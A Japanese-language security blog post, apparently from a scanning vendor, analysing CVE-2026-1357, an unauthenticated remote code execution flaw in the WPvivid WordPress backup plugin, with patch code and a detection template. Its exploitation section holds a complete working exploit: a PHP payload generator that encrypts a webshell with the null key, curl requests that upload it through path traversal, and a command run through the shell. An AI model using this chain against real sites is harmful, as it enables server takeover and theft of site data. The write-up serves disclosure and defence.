当社のAIエンジンNeutronが、UCバークレーのCyberGymベンチマークで96.75%のスコアを記録しました。 詳細を見る

セキュリティ

セキュリティ

CVE-2026-1357:WPvividバックアッププラグインにおける認証不要のRCE

CVSS 9.8のクリティカルな認証不要のリモートコード実行脆弱性であるCVE-2026-1357の技術解説です。WPvivid Backup & Migrationプラグイン(≤ 0.9.123)に存在し、暗号処理のフェイルオープンとサニタイズされていないパストラバーサルという2つの連鎖する不備により、認証情報なしで任意のファイル書き込みとシェルのアップロードが可能になります。

CVE-2026-1357

WPvividバックアッププラグインにおける認証不要のRCE

2026年2月17日 · CVSS 9.8 クリティカル · WPvivid ≤ 0.9.123

CVE ID CVSS 影響を受けるバージョン 修正バージョン
CVE-2026-1357 9.8 クリティカル ≤ 0.9.123 0.9.124+

1. 深みへ:WPvivid Backup and Migrationプラグインの脆弱性概要

WPvivid Backup & Migrationは、WordPressのあちこちで見かけるプラグインの一つで、300,000件を超えるアクティブインストール数と堅実なレビューを持ち、バックアップ、移行、ステージングを扱います。ごくありふれたものです。これを興味深いものにしたのは、ある一つの機能でした。暗号化されたバックアップデータをサイト間で送り合えるRemote Backup Transferです。

ここでは暗号化という言葉が大きな意味を担っています。CVE-2026-1357が9.8のクリティカル評価で公開されたとき、この機能が侵入口でした。本稿は、この脆弱性がどのように機能するのかを技術的に解説するものです。


2. 暗号化だったはずのもの:CVE-2026-1357におけるWPvividのRSAフェイルオープンの分析

最初の不備はincludes/class-wpvivid-crypt.phpのdecrypt_message()関数内にあります。このプラグインはRSA + AESのハイブリッド方式を採用しており、RSA鍵で対称鍵を復号し、その鍵でペイロードを復号します。

これは安全ではありません。以下が脆弱なコードです。

// class-wpvivid-crypt.php  (v0.9.123)
public function decrypt_message($message) {
    $rsa = new Crypt_RSA();
    $rsa->loadKey($this->public_key);
    $key = $rsa->decrypt($key);       // Returns FALSE on invalid key
    $rij = new Crypt_Rijndael();
    $rij->setKey($key);               // BUG: no check, sets FALSE as key
    return $rij->decrypt($data);      // Decrypts with null-byte key
}

RSAの復号が失敗すると、$rsa->decrypt()はFALSEを返します。その戻り値は一切チェックされません。そのままsetKey()に渡されます。

このプラグインはphpseclib v1を使用しています。このバージョンでは、setKey(FALSE)は値を空文字列として扱い、それが16バイトのnull鍵\x00\x00\x00...\x00にパディングされます。この鍵は固定で、既知であり、すべてのインストール環境で同一です。この null鍵を使って事前にペイロードを暗号化した攻撃者であれば、誰でもプラグインにそれを正しく復号させることができ、認証は完全にバイパスされます。

暗号処理のフェイルオープン(CWE-755):復号結果に対する検証が欠けているため、関数は処理を中止せず既知のnull鍵へフォールバックしてしまいます。攻撃者は不正なRSA鍵を渡して失敗を誘発し、そのうえでnull鍵で暗号化済みのペイロードを送信します。


3. 意図的に迷い込む:WPvividのSend to Site機能におけるパストラバーサル

2つ目の不備はincludes/customclass/class-wpvivid-send-to-site.phpにあります。(すでにバイパスされた)復号ステップの後、プラグインはJSONペイロードからファイル名を読み取り、それを使ってファイルパスを構築します。

// class-wpvivid-send-to-site.php  (v0.9.123)
public function send_to_site() {
    $params    = json_decode($data, 1);
    $dir       = WPvivid_Setting::get_backupdir();

    // No sanitization of $params['name']
    $file_path = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR
               . str_replace('wpvivid', 'wpvivid_temp', $params['name']);

    fwrite($handle, base64_decode($params['data']));
}

basename()もありません。拡張子チェックもありません。$params['name']の値がそのままパスに入ります。これを"../uploads/shell.php"に設定すると/wp-content/uploads/shell.phpに解決されます。ここは公開されており、PHPが実行可能なディレクトリです。

パストラバーサル(CWE-22):ユーザーが指定したファイル名が、サニタイズを経ずにファイルシステムへ到達します。不備その1と組み合わせることで、認証不要のリクエストで、Webルートから到達可能な任意の場所に任意のファイル内容を書き込めます。


4. 組み合わせる:CVE-2026-1357を悪用してリモートコード実行を行う

悪用は2つのステップで進みます。ペイロードを生成し、リクエストを送信するのです。

ステップ1:ペイロードの生成

このエクスプロイトは、phpseclib v1のnull鍵の挙動を再現します。PHPのWebシェルを\x00×16でAES暗号化し、トラバーサル用のファイル名とともにJSONでラップし、フェイルオープンを誘発するために不正なRSA鍵を先頭に付加します。

<?php  // exploit.php
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');

$rijndael = new Crypt_Rijndael();
$rijndael->setBlockLength(128);
$rijndael->setKey(str_repeat("\0", 16));  // 16-byte null key

$shell = '<?php system($_GET["cmd"]); ?>';

$payload = [
    'name'   => '../uploads/pwn_shell.php',  // path traversal
    'data'   => base64_encode($shell),
    'offset' => 0, 'index' => 0, 'type' => 'backup', 'status' => 'running'
];

$enc      = $rijndael->encrypt(json_encode($payload));
$fake_rsa = 'ABC';  // any garbage triggers the fail-open

$packet = str_pad(dechex(strlen($fake_rsa)), 3, '0', STR_PAD_LEFT)
        . $fake_rsa
        . str_pad(dechex(strlen($enc)), 16, '0', STR_PAD_LEFT)
        . $enc;

echo base64_encode($packet);

ステップ2:リクエストの送信

ペイロードは、プレーンなPOSTでWordPressのルートエンドポイントに送られます。認証情報もセッションも、事前のセットアップも不要です。

PAYLOAD=$(php exploit.php)
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")

curl -i -s -X POST "http://209.38.255.159:8090/" \
  -d "wpvivid_action=send_to_site" \
  -d "wpvivid_content=$ENCODED"

レスポンス:

HTTP/1.1 200 OK
Date: Tue, 17 Feb 2026 10:38:21 GMT
Server: Apache/2.4.66 (Debian)
X-Powered-By: PHP/8.3.30
Content-Length: 36

{"result":"success","op":"finished"}

シェルがディスク上に置かれました。それを呼び出します。

curl "http://209.38.255.159:8090/wp-content/uploads/pwn_shell.php?cmd=whoami"

www-data

5. 概念実証:WPvivid RCEエクスプロイトの手順と影響分析

対象はWPvivid v0.9.123を実行しており、0.9.124のアップデートは提供済みでしたが未適用でした。

WPvivid v0.9.123がインストールされ、0.9.124へのアップデートが保留中であることを示すWordPress管理画面
WPvivid v0.9.123、アップデート保留中

悪用の後、アップロードされたWebシェルは、Webサーバープロセスとして任意のコマンドに応答します。

アップロードされたシェルを通じて/etc/passwdが返され、RCEが確認された様子
アップロードされたWebシェルによるRCEの確認

影響:www-dataのアクセス権を得た攻撃者は、wp-config.phpを読み取ってデータベースの認証情報を入手し、サイトの全データを窃取し、永続的なバックドアを設置し、あるいはサーバー構成によってはさらに横展開することができます。この時点からWordPressインストール全体を完全に侵害するのは造作もありません。


6. 修正:WPvividプラグインのセキュリティ上の不備CVE-2026-1357へのパッチ適用

バージョン0.9.124は、両方の不備をそれぞれ独立して修正します。どちらか一方の修正だけでもエクスプロイトチェーンは成立しなくなります。

修正1:復号結果を検証する

$rsa->decrypt()の後に一つチェックを加えるだけで、フェイルオープンがフェイルクローズに変わります。復号がfalseまたは空の鍵を返した場合、関数は処理を中止します。

// class-wpvivid-crypt.php  (v0.9.124)
$key = $rsa->decrypt($key);

if ($key === false || empty($key)) {
    return false;  // fail-closed
}

$rij->setKey($key);
return $rij->decrypt($data);

修正2:ファイル名をサニタイズし、拡張子のホワイトリストを強制する

basename()はディレクトリトラバーサルのシーケンスを取り除きます。正規表現で許可される文字を制限します。明示的な拡張子ホワイトリストにより、実行可能なものはすべてブロックされます。

// class-wpvivid-send-to-site.php  (v0.9.124)
$safe_name = basename($params['name']);
$safe_name = preg_replace('/[^a-zA-Z0-9._-]/', '', $safe_name);

$allowed = ['zip', 'gz', 'tar', 'sql'];
$ext     = strtolower(pathinfo($safe_name, PATHINFO_EXTENSION));

if (!in_array($ext, $allowed, true)) {
    $ret['error'] = 'Invalid file type.';
    echo wp_json_encode($ret);
    die();
}

7. Ostorlab KEVによるCVE-2026-1357の検出

CVE-2026-1357は、OstorlabのKnown Exploited Vulnerabilities(KEV)検出スイートで対象になりました。このスイートは、公開されているポートや露出しているサービスを対象に自動スキャンを実行し、既知の悪用された脆弱性を大規模に特定します。Nmap、Tsunami、Asteroid、Nuclei、Metasploitといったツールを単一のエージェントグループのもとで組み合わせています。

Nucleiテンプレート

このCVE向けに検証済みのNucleiテンプレートが作成され、KEVリポジトリに追加されました。これは、omarkurt、およびこの脆弱性の発見者であるLucas Montes(NiRoX)の共同執筆によるものです。テンプレートは、対象に対して3つのリクエストを実行します。

  • プラグインのreadme.txtへのGET。WPvividがインストールされていることを確認し、バージョン番号を抽出します。
  • ルートエンドポイントへのPOST。事前に構築したエクスプロイトペイロードを送り、フェイルオープンを誘発してパストラバーサルによりシェルを書き込みます。
  • アップロードされたシェルへのGET。実行を確認します。検出には3つすべてが一致する必要があります。すなわち、プラグインが存在すること、アップロードが成功すること、そしてシェルが応答することです。

このテンプレートはverified: trueとタグ付けされ、intrusive(侵襲的)と記されています。単にフィンガープリントを取るだけでなく、脆弱性を確認するために対象を実際に悪用します。CISAやより広範な脅威インテリジェンスコミュニティが追跡するクリティカルなCVEを対象とする200以上の他のテンプレートとともに、KEVエージェントグループに含まれています。

テンプレートの全文は、Ostorlab KEVリポジトリの以下で入手できます。 github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2026-1357.yaml


まとめ

CVE-2026-1357は、個別には封じ込め可能な2つのバグが連鎖して、クリティカルな重大度評価に至る典型的な例です。暗号処理のフェイルオープンが認証を無効化し、パストラバーサルがWebルートへの任意書き込みアクセスを与えます。どちらの不備も特殊なものではありません。

防御側の教訓も同じく明快です。

  • 暗号処理の戻り値は、鍵として使用する前に必ず検証すること。
  • ユーザーが指定した入力を、ファイルシステムのパスに直接使わないこと。
  • basename()と拡張子ホワイトリストは、ファイルアップロード処理における標準的な実践であること。
  • 多層防御:両方のレイヤーにパッチを当て、どちらか一方のバイパスだけでは不十分な状態にすること。

参考文献

リソース リンク
NVD https://nvd.nist.gov/vuln/detail/CVE-2026-1357
Wordfence https://www.wordfence.com/threat-intel/vulnerabilities/id/e5af0317-ef46-4744-9752-74ce228b5f37
PoC https://github.com/LucasM0ntes/POC-CVE-2026-1357
Plugin https://wordpress.org/plugins/wpvivid-backuprestore/